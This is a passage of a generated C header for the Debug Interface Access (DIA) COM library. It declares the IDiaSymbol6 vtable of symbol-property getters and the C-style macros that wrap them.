[id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHotpatchable )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCVTCIL )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMSILNetmodule )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCTypes )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStripped )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndQFE )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndQFE )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_wasInlined )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_strictGSCheck )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCxxReturnUdt )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isConstructorVirtualBase )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RValueReference )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedType )( IDiaSymbol6 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePointerPresent )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSafeBuffers )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intrinsic )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sealed )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaFloat )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaDouble )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressSection )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressOffset )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartRelativeVirtualAddress )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_countLiveRanges )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeLength )( IDiaSymbol6 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offsetInUdt )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_paramBasePointerRegisterId )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_localBasePointerRegisterId )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLocationControlFlowDependent )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_stride )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRows )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfColumns )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMatrixRowMajor )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_numericProperties )( IDiaSymbol6 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ DWORD *pProperties); HRESULT ( STDMETHODCALLTYPE *get_modifierValues )( IDiaSymbol6 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ WORD *pModifiers); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isReturnValue )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedAway )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_builtInKind )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerType )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataSlot )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataOffset )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_textureSlot )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_samplerSlot )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_uavSlot )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sizeInUdt )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_memorySpaceKind )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedTypeId )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subTypeId )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subType )( IDiaSymbol6 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfModifiers )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRegisterIndices )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHLSLData )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToDataMember )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToMemberFunction )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSingleInheritance )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMultipleInheritance )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isVirtualInheritance )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_restrictedType )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerBasedOnSymbolValue )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbol )( IDiaSymbol6 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbolId )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectFileName )( IDiaSymbol6 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorGroupSharedLocal )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorPointerTagLiveRange )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorStubFunction )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfAcceleratorPointerTags )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSdl )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isWinRTPointer )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isRefUdt )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isValueUdt )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isInterfaceUdt )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByAddr )( IDiaSymbol6 * This, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByRVA )( IDiaSymbol6 * This, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByVA )( IDiaSymbol6 * This, /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLines )( IDiaSymbol6 * This, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByAddr )( IDiaSymbol6 * This, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByRVA )( IDiaSymbol6 * This, /* [in] */ DWORD rva, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByVA )( IDiaSymbol6 * This, /* [in] */ ULONGLONG va, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findSymbolsForAcceleratorPointerTag )( IDiaSymbol6 * This, /* [in] */ DWORD tagValue, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findSymbolsByRVAForAcceleratorPointerTag )( IDiaSymbol6 * This, /* [in] */ DWORD tagValue, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *get_acceleratorPointerTags )( IDiaSymbol6 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ DWORD *pPointerTags); HRESULT ( STDMETHODCALLTYPE *getSrcLineOnTypeDefn )( IDiaSymbol6 * This, /* [out] */ IDiaLineNumber **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPGO )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasValidPGOCounts )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedForSpeed )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEntryCount )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEdgeCount )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGODynamicInstructionCount )( IDiaSymbol6 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_staticSize )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_finalLiveStaticSize )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_phaseName )( IDiaSymbol6 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasControlFlowCheck )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constantExport )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataExport )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_privateExport )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noNameExport )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportHasExplicitlyAssignedOrdinal )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportIsForwarder )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ordinal )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frameSize )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressSection )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressOffset )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerRelativeVirtualAddress )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerVirtualAddress )( IDiaSymbol6 * This, /* [retval][out] */ ULONGLONG *pRetVal); HRESULT ( STDMETHODCALLTYPE *findInputAssemblyFile )( IDiaSymbol6 * This, /* [out] */ IDiaInputAssemblyFile **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_characteristics )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_coffGroup )( IDiaSymbol6 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindID )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSpace )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSlot )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCClass )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCCategory )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCProtocol )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlinee )( IDiaSymbol6 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlineeId )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noexcept )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAbsoluteAddress )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStaticMemberFunc )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); END_INTERFACE } IDiaSymbol6Vtbl; interface IDiaSymbol6 { CONST_VTBL struct IDiaSymbol6Vtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaSymbol6_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaSymbol6_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaSymbol6_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaSymbol6_get_symIndexId(This,pRetVal) \ ( (This)->lpVtbl -> get_symIndexId(This,pRetVal) ) #define IDiaSymbol6_get_symTag(This,pRetVal) \ ( (This)->lpVtbl -> get_symTag(This,pRetVal) ) #define IDiaSymbol6_get_name(This,pRetVal) \ ( (This)->lpVtbl -> get_name(This,pRetVal) ) #define IDiaSymbol6_get_lexicalParent(This,pRetVal) \ ( (This)->lpVtbl -> get_lexicalParent(This,pRetVal) ) #define IDiaSymbol6_get_classParent(This,pRetVal) \ ( (This)->lpVtbl -> get_classParent(This,pRetVal) ) #define IDiaSymbol6_get_type(This,pRetVal) \ ( (This)->lpVtbl -> get_type(This,pRetVal) ) #define IDiaSymbol6_get_dataKind(This,pRetVal) \ ( (This)->lpVtbl -> get_dataKind(This,pRetVal) ) #define IDiaSymbol6_get_locationType(This,pRetVal) \ ( (This)->lpVtbl -> get_locationType(This,pRetVal) ) #define IDiaSymbol6_get_addressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) #define IDiaSymbol6_get_addressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_addressOffset(This,pRetVal) ) #define IDiaSymbol6_get_relativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol6_get_virtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) #define IDiaSymbol6_get_registerId(This,pRetVal) \ ( (This)->lpVtbl -> get_registerId(This,pRetVal) ) #define IDiaSymbol6_get_offset(This,pRetVal) \ ( (This)->lpVtbl -> get_offset(This,pRetVal) ) #define IDiaSymbol6_get_length(This,pRetVal) \ ( (This)->lpVtbl -> get_length(This,pRetVal) ) #define IDiaSymbol6_get_slot(This,pRetVal) \ ( (This)->lpVtbl -> get_slot(This,pRetVal) ) #define IDiaSymbol6_get_volatileType(This,pRetVal) \ ( (This)->lpVtbl -> get_volatileType(This,pRetVal) ) #define IDiaSymbol6_get_constType(This,pRetVal) \ ( (This)->lpVtbl -> get_constType(This,pRetVal) ) #define IDiaSymbol6_get_unalignedType(This,pRetVal) \ ( (This)->lpVtbl -> get_unalignedType(This,pRetVal) ) #define IDiaSymbol6_get_access(This,pRetVal) \ ( (This)->lpVtbl -> get_access(This,pRetVal) ) #define IDiaSymbol6_get_libraryName(This,pRetVal) \ ( (This)->lpVtbl -> get_libraryName(This,pRetVal) ) #define IDiaSymbol6_get_platform(This,pRetVal) \ ( (This)->lpVtbl -> get_platform(This,pRetVal) ) #define IDiaSymbol6_get_language(This,pRetVal) \ ( (This)->lpVtbl -> get_language(This,pRetVal) ) #define IDiaSymbol6_get_editAndContinueEnabled(This,pRetVal) \ ( (This)->lpVtbl -> get_editAndContinueEnabled(This,pRetVal) ) #define IDiaSymbol6_get_frontEndMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndMajor(This,pRetVal) ) #define IDiaSymbol6_get_frontEndMinor(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndMinor(This,pRetVal) ) #define IDiaSymbol6_get_frontEndBuild(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndBuild(This,pRetVal) ) #define IDiaSymbol6_get_backEndMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndMajor(This,pRetVal) ) #define IDiaSymbol6_get_backEndMinor(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndMinor(This,pRetVal) ) #define IDiaSymbol6_get_backEndBuild(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndBuild(This,pRetVal) ) #define IDiaSymbol6_get_sourceFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_sourceFileName(This,pRetVal) ) #define IDiaSymbol6_get_unused(This,pRetVal) \ ( (This)->lpVtbl -> get_unused(This,pRetVal) ) #define IDiaSymbol6_get_thunkOrdinal(This,pRetVal) \ ( (This)->lpVtbl -> get_thunkOrdinal(This,pRetVal) ) #define IDiaSymbol6_get_thisAdjust(This,pRetVal) \ ( (This)->lpVtbl -> get_thisAdjust(This,pRetVal) ) #define IDiaSymbol6_get_virtualBaseOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseOffset(This,pRetVal) ) #define IDiaSymbol6_get_virtual(This,pRetVal) \ ( (This)->lpVtbl -> get_virtual(This,pRetVal) ) #define IDiaSymbol6_get_intro(This,pRetVal) \ ( (This)->lpVtbl -> get_intro(This,pRetVal) ) #define IDiaSymbol6_get_pure(This,pRetVal) \ ( (This)->lpVtbl -> get_pure(This,pRetVal) ) #define IDiaSymbol6_get_callingConvention(This,pRetVal) \ ( (This)->lpVtbl -> get_callingConvention(This,pRetVal) ) #define IDiaSymbol6_get_value(This,pRetVal) \ ( (This)->lpVtbl -> get_value(This,pRetVal) ) #define IDiaSymbol6_get_baseType(This,pRetVal) \ ( (This)->lpVtbl -> get_baseType(This,pRetVal) ) #define IDiaSymbol6_get_token(This,pRetVal) \ ( (This)->lpVtbl -> get_token(This,pRetVal) ) #define IDiaSymbol6_get_timeStamp(This,pRetVal) \ ( (This)->lpVtbl -> get_timeStamp(This,pRetVal) ) #define IDiaSymbol6_get_guid(This,pRetVal) \ ( (This)->lpVtbl -> get_guid(This,pRetVal) ) #define IDiaSymbol6_get_symbolsFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_symbolsFileName(This,pRetVal) ) #define IDiaSymbol6_get_reference(This,pRetVal) \ ( (This)->lpVtbl -> get_reference(This,pRetVal) ) #define IDiaSymbol6_get_count(This,pRetVal) \ ( (This)->lpVtbl -> get_count(This,pRetVal) ) #define IDiaSymbol6_get_bitPosition(This,pRetVal) \ ( (This)->lpVtbl -> get_bitPosition(This,pRetVal) ) #define IDiaSymbol6_get_arrayIndexType(This,pRetVal) \ ( (This)->lpVtbl -> get_arrayIndexType(This,pRetVal) ) #define IDiaSymbol6_get_packed(This,pRetVal) \ ( (This)->lpVtbl -> get_packed(This,pRetVal) ) #define IDiaSymbol6_get_constructor(This,pRetVal) \ ( (This)->lpVtbl -> get_constructor(This,pRetVal) ) #define IDiaSymbol6_get_overloadedOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_overloadedOperator(This,pRetVal) ) #define IDiaSymbol6_get_nested(This,pRetVal) \ ( (This)->lpVtbl -> get_nested(This,pRetVal) ) #define IDiaSymbol6_get_hasNestedTypes(This,pRetVal) \ ( (This)->lpVtbl -> get_hasNestedTypes(This,pRetVal) ) #define IDiaSymbol6_get_hasAssignmentOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_hasAssignmentOperator(This,pRetVal) ) #define IDiaSymbol6_get_hasCastOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_hasCastOperator(This,pRetVal) ) #define IDiaSymbol6_get_scoped(This,pRetVal) \ ( (This)->lpVtbl -> get_scoped(This,pRetVal) ) #define IDiaSymbol6_get_virtualBaseClass(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseClass(This,pRetVal) ) #define IDiaSymbol6_get_indirectVirtualBaseClass(This,pRetVal) \ ( (This)->lpVtbl -> get_indirectVirtualBaseClass(This,pRetVal) ) #define IDiaSymbol6_get_virtualBasePointerOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBasePointerOffset(This,pRetVal) ) #define IDiaSymbol6_get_virtualTableShape(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualTableShape(This,pRetVal) ) #define IDiaSymbol6_get_lexicalParentId(This,pRetVal) \ ( (This)->lpVtbl -> get_lexicalParentId(This,pRetVal) ) #define IDiaSymbol6_get_classParentId(This,pRetVal) \ ( (This)->lpVtbl -> get_classParentId(This,pRetVal) ) #define IDiaSymbol6_get_typeId(This,pRetVal) \ ( (This)->lpVtbl -> get_typeId(This,pRetVal) ) #define IDiaSymbol6_get_arrayIndexTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_arrayIndexTypeId(This,pRetVal) ) #define IDiaSymbol6_get_virtualTableShapeId(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualTableShapeId(This,pRetVal) ) #define IDiaSymbol6_get_code(This,pRetVal) \ ( (This)->lpVtbl -> get_code(This,pRetVal) ) #define IDiaSymbol6_get_function(This,pRetVal) \ ( (This)->lpVtbl -> get_function(This,pRetVal) ) #define IDiaSymbol6_get_managed(This,pRetVal) \ ( (This)->lpVtbl -> get_managed(This,pRetVal) ) #define IDiaSymbol6_get_msil(This,pRetVal) \ ( (This)->lpVtbl -> get_msil(This,pRetVal) ) #define IDiaSymbol6_get_virtualBaseDispIndex(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseDispIndex(This,pRetVal) ) #define IDiaSymbol6_get_undecoratedName(This,pRetVal) \ ( (This)->lpVtbl -> get_undecoratedName(This,pRetVal) ) #define IDiaSymbol6_get_age(This,pRetVal) \ ( (This)->lpVtbl -> get_age(This,pRetVal) ) #define IDiaSymbol6_get_signature(This,pRetVal) \ ( (This)->lpVtbl -> get_signature(This,pRetVal) ) #define IDiaSymbol6_get_compilerGenerated(This,pRetVal) \ ( (This)->lpVtbl -> get_compilerGenerated(This,pRetVal) ) #define IDiaSymbol6_get_addressTaken(This,pRetVal) \ ( (This)->lpVtbl -> get_addressTaken(This,pRetVal) ) #define IDiaSymbol6_get_rank(This,pRetVal) \ ( (This)->lpVtbl -> get_rank(This,pRetVal) ) #define IDiaSymbol6_get_lowerBound(This,pRetVal) \ ( (This)->lpVtbl -> get_lowerBound(This,pRetVal) ) #define IDiaSymbol6_get_upperBound(This,pRetVal) \ ( (This)->lpVtbl -> get_upperBound(This,pRetVal) ) #define IDiaSymbol6_get_lowerBoundId(This,pRetVal) \ ( (This)->lpVtbl -> get_lowerBoundId(This,pRetVal) ) #define IDiaSymbol6_get_upperBoundId(This,pRetVal) \ ( (This)->lpVtbl -> get_upperBoundId(This,pRetVal) ) #define IDiaSymbol6_get_dataBytes(This,cbData,pcbData,pbData) \ 